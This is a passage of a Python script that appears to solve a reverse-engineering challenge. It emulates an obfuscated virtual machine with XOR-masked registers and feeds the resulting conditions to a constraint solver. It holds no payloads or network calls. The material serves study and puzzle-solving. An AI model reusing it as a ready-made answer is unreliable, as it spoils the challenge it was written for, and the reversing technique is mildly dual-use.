so.add(a3[a2[213]] - 0x1030507 * (a2[213] + 127) == 0)


a3[a2[215]] = (16975111 * (a2[215] + 127)) ^ get_int2( 54)
a3[a2[221]] = (16975111 * (a2[221] + 127)) ^ get_int( 222)
a3[a2[227]] = (16975111 * (a2[227] + 127)) ^ get_int2( 57)
a3[a2[233]] = (16975111 * (a2[233] + 127)) ^ get_int( 234)
a3[a2[239]] = (16975111 * (a2[239] + 127)) ^ a1[(16975111 * (a2[240] + 127)) ^ a3[a2[240]]]
a3[a2[242]] = (16975111 * (a2[242] + 127)) ^ get_int( 243)
a3[a2[248]] = (16975111 * (a2[248] + 127)) ^ ((a3[a2[250]] ^ (16975111 * (a2[250] + 127)))* ((16975111* (a2[249] + 127)) ^ a3[a2[249]]))
a3[a2[252]] = (16975111 * (a2[252] + 127)) ^ ((a3[a2[254]] ^ (16975111 * (a2[254] + 127)))- ((16975111* (a2[253] + 127)) ^ a3[a2[253]]))
a3[a2[256]] = (16975111 * (a2[256] + 127)) ^ get_int( 257)
a3[a2[262]] = (16975111 * (a2[262] + 127)) ^ a1[(16975111 * (a2[263] + 127)) ^ a3[a2[263]]]
a3[a2[265]] = (16975111 * (a2[265] + 127)) ^ get_int( 266)
a3[a2[271]] = (16975111 * (a2[271] + 127)) ^ a3[a2[273]] ^ (16975111 * (a2[273] + 127)) ^ (16975111 * (a2[272] + 127)) ^ a3[a2[272]]
a3[a2[275]] = (16975111 * (a2[275] + 127)) ^ ((a3[a2[277]] ^ (16975111 * (a2[277] + 127)))+ ((16975111* (a2[276] + 127)) ^ a3[a2[276]]))
a3[a2[279]] = (16975111 * (a2[279] + 127)) ^ get_int2( 70)
a3[a2[285]] = (16975111 * (a2[285] + 127)) ^ a1[(16975111 * (a2[286] + 127)) ^ a3[a2[286]]]
a3[a2[288]] = (16975111 * (a2[288] + 127)) ^ get_int( 289)
a3[a2[294]] = (16975111 * (a2[294] + 127)) ^ a3[a2[296]] ^ (16975111 * (a2[296] + 127)) ^ (16975111 * (a2[295] + 127)) ^ a3[a2[295]]
a3[a2[298]] = (16975111 * (a2[298] + 127)) ^ ((a3[a2[300]] ^ (16975111 * (a2[300] + 127)))- ((16975111* (a2[299] + 127)) ^ a3[a2[299]]))
a3[a2[302]] = (16975111 * (a2[302] + 127)) ^ get_int( 303)
a3[a2[308]] = (16975111 * (a2[308] + 127)) ^ a1[(16975111 * (a2[309] + 127)) ^ a3[a2[309]]]
a3[a2[311]] = (16975111 * (a2[311] + 127)) ^ get_int2( 78)
a3[a2[317]] = (16975111 * (a2[317] + 127)) ^ a3[a2[319]] ^ (16975111 * (a2[319] + 127)) ^ (16975111 * (a2[318] + 127)) ^ a3[a2[318]]
a3[a2[321]] = (16975111 * (a2[321] + 127)) ^ ((a3[a2[323]] ^ (16975111 * (a2[323] + 127)))+ ((16975111* (a2[322] + 127)) ^ a3[a2[322]]))
a3[a2[325]] = (16975111 * (a2[325] + 127)) ^ get_int( 326)
a3[a2[331]] = (16975111 * (a2[331] + 127)) ^ a1[(16975111 * (a2[332] + 127)) ^ a3[a2[332]]]
a3[a2[334]] = (16975111 * (a2[334] + 127)) ^ get_int( 335)
a3[a2[340]] = (16975111 * (a2[340] + 127)) ^ ((a3[a2[342]] ^ (16975111 * (a2[342] + 127)))* ((16975111* (a2[341] + 127)) ^ a3[a2[341]]))
a3[a2[344]] = (16975111 * (a2[344] + 127)) ^ ((a3[a2[346]] ^ (16975111 * (a2[346] + 127)))+ ((16975111* (a2[345] + 127)) ^ a3[a2[345]]))
a3[a2[348]] = (16975111 * (a2[348] + 127)) ^ get_int( 349)
a3[a2[354]] = (16975111 * (a2[354] + 127)) ^ a1[(16975111 * (a2[355] + 127)) ^ a3[a2[355]]]
a3[a2[357]] = (16975111 * (a2[357] + 127)) ^ get_int( 358)
a3[a2[363]] = (16975111 * (a2[363] + 127)) ^ a3[a2[365]] ^ (16975111 * (a2[365] + 127)) ^ (16975111 * (a2[364] + 127)) ^ a3[a2[364]]
a3[a2[367]] = (16975111 * (a2[367] + 127)) ^ ((a3[a2[369]] ^ (16975111 * (a2[369] + 127)))+ ((16975111* (a2[368] + 127)) ^ a3[a2[368]]))
a3[a2[371]] = (16975111 * (a2[371] + 127)) ^ get_int2( 93)
a3[a2[377]] = (16975111 * (a2[377] + 127)) ^ a1[(16975111 * (a2[378] + 127)) ^ a3[a2[378]]]
a3[a2[380]] = (16975111 * (a2[380] + 127)) ^ get_int( 381)
a3[a2[386]] = (16975111 * (a2[386] + 127)) ^ a3[a2[388]] ^ (16975111 * (a2[388] + 127)) ^ (16975111 * (a2[387] + 127)) ^ a3[a2[387]]
a3[a2[390]] = (16975111 * (a2[390] + 127)) ^ ((a3[a2[392]] ^ (16975111 * (a2[392] + 127)))- ((16975111* (a2[391] + 127)) ^ a3[a2[391]]))
a3[a2[394]] = (16975111 * (a2[394] + 127)) ^ get_int( 395)
a3[a2[400]] = (16975111 * (a2[400] + 127)) ^ a1[(16975111 * (a2[401] + 127)) ^ a3[a2[401]]]
a3[a2[403]] = (16975111 * (a2[403] + 127)) ^ get_int2( 101)
a3[a2[409]] = (16975111 * (a2[409] + 127)) ^ a3[a2[411]] ^ (16975111 * (a2[411] + 127)) ^ (16975111 * (a2[410] + 127)) ^ a3[a2[410]]
a3[a2[413]] = (16975111 * (a2[413] + 127)) ^ ((a3[a2[415]] ^ (16975111 * (a2[415] + 127)))+ ((16975111* (a2[414] + 127)) ^ a3[a2[414]]))
a3[a2[417]] = (16975111 * (a2[417] + 127)) ^ get_int( 418)
a3[a2[423]] = (16975111 * (a2[423] + 127)) ^ ((a3[a2[425]] ^ (16975111 * (a2[425] + 127)))- ((16975111* (a2[424] + 127)) ^ a3[a2[424]]))
so.add(a3[a2[427]] - 16975111 * (a2[427] + 127) == 0)


i = 427+2-3
a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i + 10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i + 22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i + 31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ ((a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)))
* ((16975111
* (a2[i+37] + 127)) ^ a3[a2[i+37]]))
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
+ ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i + 45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i + 54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
- ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i + 77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
- ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i + 91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)) ^ (16975111 * (a2[i+106] + 127)) ^ a3[a2[i+106]]
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i + 114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i + 123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
+ ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i + 137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i + 146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
+ ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i + 169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
- ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i + 183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)) ^ (16975111 * (a2[i+198] + 127)) ^ a3[a2[i+198]]
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i + 206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)




i = 214 * 8 - 2

a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int( i+4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int( i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int( i+16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int( i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int( i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ ((a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)))
* ((16975111
* (a2[i+37] + 127)) ^ a3[a2[i+37]]))
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
- ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int( i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int( i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
- ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int( i+68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int( i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
- ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int( i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int( i+100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
- ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int( i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int( i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int( i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int( i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ ((a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)))
* ((16975111
* (a2[i+152] + 127)) ^ a3[a2[i+152]]))
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
- ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int( i+160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int( i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
+ ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int( i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int( i+192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ ((a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)))
* ((16975111
* (a2[i+198] + 127)) ^ a3[a2[i+198]]))
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int( i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
# print(a3[a2[i+215]])
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)



i = 214 * 9 - 2

a3[a2[i +3]] = (16975111 * (a2[i +3] + 127)) ^ get_int(i + 4)
a3[a2[i +9]] = (16975111 * (a2[i +9] + 127)) ^ get_int(i + 10)
a3[a2[i +15]] = (16975111 * (a2[i +15] + 127)) ^ get_int(i + 16)
a3[a2[i +21]] = (16975111 * (a2[i +21] + 127)) ^ get_int(i + 22)
a3[a2[i +27]] = (16975111 * (a2[i +27] + 127)) ^ a1[(16975111
* (a2[i +28] + 127)) ^ a3[a2[i +28]]]
a3[a2[i +30]] = (16975111 * (a2[i +30] + 127)) ^ get_int(i + 31)
a3[a2[i +36]] = (16975111 * (a2[i +36] + 127)) ^ ((a3[a2[i +38]] ^ (16975111 * (a2[i +38] + 127)))
* ((16975111
* (a2[i +37] + 127)) ^ a3[a2[i +37]]))
a3[a2[i +40]] = (16975111 * (a2[i +40] + 127)) ^ ((a3[a2[i +42]] ^ (16975111 * (a2[i +42] + 127)))
+ ((16975111
* (a2[i +41] + 127)) ^ a3[a2[i +41]]))
a3[a2[i +44]] = (16975111 * (a2[i +44] + 127)) ^ get_int(i + 45)
a3[a2[i +50]] = (16975111 * (a2[i +50] + 127)) ^ a1[(16975111
* (a2[i +51] + 127)) ^ a3[a2[i +51]]]
a3[a2[i +53]] = (16975111 * (a2[i +53] + 127)) ^ get_int(i + 54)
a3[a2[i +59]] = (16975111 * (a2[i +59] + 127)) ^ a3[a2[i +61]] ^ (16975111 * (a2[i +61] + 127)) ^ (16975111 * (a2[i +60] + 127)) ^ a3[a2[i +60]]
a3[a2[i +63]] = (16975111 * (a2[i +63] + 127)) ^ ((a3[a2[i +65]] ^ (16975111 * (a2[i +65] + 127)))
- ((16975111
* (a2[i +64] + 127)) ^ a3[a2[i +64]]))
a3[a2[i +67]] = (16975111 * (a2[i +67] + 127)) ^ get_int(i + 68)
a3[a2[i +73]] = (16975111 * (a2[i +73] + 127)) ^ a1[(16975111
* (a2[i +74] + 127)) ^ a3[a2[i +74]]]
a3[a2[i +76]] = (16975111 * (a2[i +76] + 127)) ^ get_int(i + 77)
a3[a2[i +82]] = (16975111 * (a2[i +82] + 127)) ^ a3[a2[i +84]] ^ (16975111 * (a2[i +84] + 127)) ^ (16975111 * (a2[i +83] + 127)) ^ a3[a2[i +83]]
a3[a2[i +86]] = (16975111 * (a2[i +86] + 127)) ^ ((a3[a2[i +88]] ^ (16975111 * (a2[i +88] + 127)))
+ ((16975111
* (a2[i +87] + 127)) ^ a3[a2[i +87]]))
a3[a2[i +90]] = (16975111 * (a2[i +90] + 127)) ^ get_int(i + 91)
a3[a2[i +96]] = (16975111 * (a2[i +96] + 127)) ^ a1[(16975111
* (a2[i +97] + 127)) ^ a3[a2[i +97]]]
a3[a2[i +99]] = (16975111 * (a2[i +99] + 127)) ^ get_int(i + 100)
a3[a2[i +105]] = (16975111 * (a2[i +105] + 127)) ^ a3[a2[i +107]] ^ (16975111 * (a2[i +107] + 127)) ^ (16975111 * (a2[i +106] + 127)) ^ a3[a2[i +106]]
a3[a2[i +109]] = (16975111 * (a2[i +109] + 127)) ^ ((a3[a2[i +111]] ^ (16975111 * (a2[i +111] + 127)))
+ ((16975111
* (a2[i +110] + 127)) ^ a3[a2[i +110]]))
a3[a2[i +113]] = (16975111 * (a2[i +113] + 127)) ^ get_int(i + 114)
a3[a2[i +119]] = (16975111 * (a2[i +119] + 127)) ^ a1[(16975111 * (a2[i +120] + 127)) ^ a3[a2[i +120]]]
a3[a2[i +122]] = (16975111 * (a2[i +122] + 127)) ^ get_int(i + 123)
a3[a2[i +128]] = (16975111 * (a2[i +128] + 127)) ^ a3[a2[i +130]] ^ (16975111 * (a2[i +130] + 127)) ^ (16975111 * (a2[i +129] + 127)) ^ a3[a2[i +129]]
a3[a2[i +132]] = (16975111 * (a2[i +132] + 127)) ^ ((a3[a2[i +134]] ^ (16975111 * (a2[i +134] + 127)))
+ ((16975111
* (a2[i +133] + 127)) ^ a3[a2[i +133]]))
a3[a2[i +136]] = (16975111 * (a2[i +136] + 127)) ^ get_int(i + 137)
a3[a2[i +142]] = (16975111 * (a2[i +142] + 127)) ^ a1[(16975111 * (a2[i +143] + 127)) ^ a3[a2[i +143]]]
a3[a2[i +145]] = (16975111 * (a2[i +145] + 127)) ^ get_int(i + 146)
a3[a2[i +151]] = (16975111 * (a2[i +151] + 127)) ^ ((a3[a2[i +153]] ^ (16975111 * (a2[i +153] + 127)))
* ((16975111
* (a2[i +152] + 127)) ^ a3[a2[i +152]]))
a3[a2[i +155]] = (16975111 * (a2[i +155] + 127)) ^ ((a3[a2[i +157]] ^ (16975111 * (a2[i +157] + 127)))
- ((16975111
* (a2[i +156] + 127)) ^ a3[a2[i +156]]))
a3[a2[i +159]] = (16975111 * (a2[i +159] + 127)) ^ get_int(i + 160)
a3[a2[i +165]] = (16975111 * (a2[i +165] + 127)) ^ a1[(16975111 * (a2[i +166] + 127)) ^ a3[a2[i +166]]]
a3[a2[i +168]] = (16975111 * (a2[i +168] + 127)) ^ get_int(i + 169)
a3[a2[i +174]] = (16975111 * (a2[i +174] + 127)) ^ a3[a2[i +176]] ^ (16975111 * (a2[i +176] + 127)) ^ (16975111 * (a2[i +175] + 127)) ^ a3[a2[i +175]]
a3[a2[i +178]] = (16975111 * (a2[i +178] + 127)) ^ ((a3[a2[i +180]] ^ (16975111 * (a2[i +180] + 127)))
+ ((16975111
* (a2[i +179] + 127)) ^ a3[a2[i +179]]))
a3[a2[i +182]] = (16975111 * (a2[i +182] + 127)) ^ get_int(i + 183)
a3[a2[i +188]] = (16975111 * (a2[i +188] + 127)) ^ a1[(16975111 * (a2[i +189] + 127)) ^ a3[a2[i +189]]]
a3[a2[i +191]] = (16975111 * (a2[i +191] + 127)) ^ get_int(i + 192)
a3[a2[i +197]] = (16975111 * (a2[i +197] + 127)) ^ ((a3[a2[i +199]] ^ (16975111 * (a2[i +199] + 127)))
* ((16975111
* (a2[i +198] + 127)) ^ a3[a2[i +198]]))
a3[a2[i +201]] = (16975111 * (a2[i +201] + 127)) ^ ((a3[a2[i +203]] ^ (16975111 * (a2[i +203] + 127)))
- ((16975111
* (a2[i +202] + 127)) ^ a3[a2[i +202]]))
a3[a2[i +205]] = (16975111 * (a2[i +205] + 127)) ^ get_int(i + 206)
a3[a2[i +211]] = (16975111 * (a2[i +211] + 127)) ^ ((a3[a2[i +213]] ^ (16975111 * (a2[i +213] + 127)))
- ((16975111
* (a2[i +212] + 127)) ^ a3[a2[i +212]]))
so.add(a3[a2[i +215]] - 16975111 * (a2[i +215] + 127) == 0)


i = 214 * 17 - 2

a3[a2[ i +3]] = (16975111 * (a2[ i +3] + 127)) ^ get_int(i+4)
a3[a2[ i +9]] = (16975111 * (a2[ i +9] + 127)) ^ get_int(i+10)
a3[a2[ i +15]] = (16975111 * (a2[ i +15] + 127)) ^ get_int(i+16)
a3[a2[ i +21]] = (16975111 * (a2[ i +21] + 127)) ^ get_int(i+22)
a3[a2[ i +27]] = (16975111 * (a2[ i +27] + 127)) ^ a1[(16975111
* (a2[ i +28] + 127)) ^ a3[a2[ i +28]]]
a3[a2[ i +30]] = (16975111 * (a2[ i +30] + 127)) ^ get_int(i+31)
a3[a2[ i +36]] = (16975111 * (a2[ i +36] + 127)) ^ a3[a2[ i +38]] ^ (16975111 * (a2[ i +38] + 127)) ^ (16975111 * (a2[ i +37] + 127)) ^ a3[a2[ i +37]]
a3[a2[ i +40]] = (16975111 * (a2[ i +40] + 127)) ^ ((a3[a2[ i +42]] ^ (16975111 * (a2[ i +42] + 127)))
- ((16975111
* (a2[ i +41] + 127)) ^ a3[a2[ i +41]]))
a3[a2[ i +44]] = (16975111 * (a2[ i +44] + 127)) ^ get_int(i+45)
a3[a2[ i +50]] = (16975111 * (a2[ i +50] + 127)) ^ a1[(16975111
* (a2[ i +51] + 127)) ^ a3[a2[ i +51]]]
a3[a2[ i +53]] = (16975111 * (a2[ i +53] + 127)) ^ get_int(i+54)
a3[a2[ i +59]] = (16975111 * (a2[ i +59] + 127)) ^ a3[a2[ i +61]] ^ (16975111 * (a2[ i +61] + 127)) ^ (16975111 * (a2[ i +60] + 127)) ^ a3[a2[ i +60]]
a3[a2[ i +63]] = (16975111 * (a2[ i +63] + 127)) ^ ((a3[a2[ i +65]] ^ (16975111 * (a2[ i +65] + 127)))
- ((16975111
* (a2[ i +64] + 127)) ^ a3[a2[ i +64]]))
a3[a2[ i +67]] = (16975111 * (a2[ i +67] + 127)) ^ get_int(i+68)
a3[a2[ i +73]] = (16975111 * (a2[ i +73] + 127)) ^ a1[(16975111
* (a2[ i +74] + 127)) ^ a3[a2[ i +74]]]
a3[a2[ i +76]] = (16975111 * (a2[ i +76] + 127)) ^ get_int(i+77)
a3[a2[ i +82]] = (16975111 * (a2[ i +82] + 127)) ^ a3[a2[ i +84]] ^ (16975111 * (a2[ i +84] + 127)) ^ (16975111 * (a2[ i +83] + 127)) ^ a3[a2[ i +83]]
a3[a2[ i +86]] = (16975111 * (a2[ i +86] + 127)) ^ ((a3[a2[ i +88]] ^ (16975111 * (a2[ i +88] + 127)))
- ((16975111
* (a2[ i +87] + 127)) ^ a3[a2[ i +87]]))
a3[a2[ i +90]] = (16975111 * (a2[ i +90] + 127)) ^ get_int(i+91)
a3[a2[ i +96]] = (16975111 * (a2[ i +96] + 127)) ^ a1[(16975111
* (a2[ i +97] + 127)) ^ a3[a2[ i +97]]]
a3[a2[ i +99]] = (16975111 * (a2[ i +99] + 127)) ^ get_int(i+100)
a3[a2[ i +105]] = (16975111 * (a2[ i +105] + 127)) ^ ((a3[a2[ i +107]] ^ (16975111 * (a2[ i +107] + 127)))
* ((16975111
* (a2[ i +106] + 127)) ^ a3[a2[ i +106]]))
a3[a2[ i +109]] = (16975111 * (a2[ i +109] + 127)) ^ ((a3[a2[ i +111]] ^ (16975111 * (a2[ i +111] + 127)))
+ ((16975111
* (a2[ i +110] + 127)) ^ a3[a2[ i +110]]))
a3[a2[ i +113]] = (16975111 * (a2[ i +113] + 127)) ^ get_int(i+114)
a3[a2[ i +119]] = (16975111 * (a2[ i +119] + 127)) ^ a1[(16975111 * (a2[ i +120] + 127)) ^ a3[a2[ i +120]]]
a3[a2[ i +122]] = (16975111 * (a2[ i +122] + 127)) ^ get_int(i+123)
a3[a2[ i +128]] = (16975111 * (a2[ i +128] + 127)) ^ a3[a2[ i +130]] ^ (16975111 * (a2[ i +130] + 127)) ^ (16975111 * (a2[ i +129] + 127)) ^ a3[a2[ i +129]]
a3[a2[ i +132]] = (16975111 * (a2[ i +132] + 127)) ^ ((a3[a2[ i +134]] ^ (16975111 * (a2[ i +134] + 127)))
- ((16975111
* (a2[ i +133] + 127)) ^ a3[a2[ i +133]]))
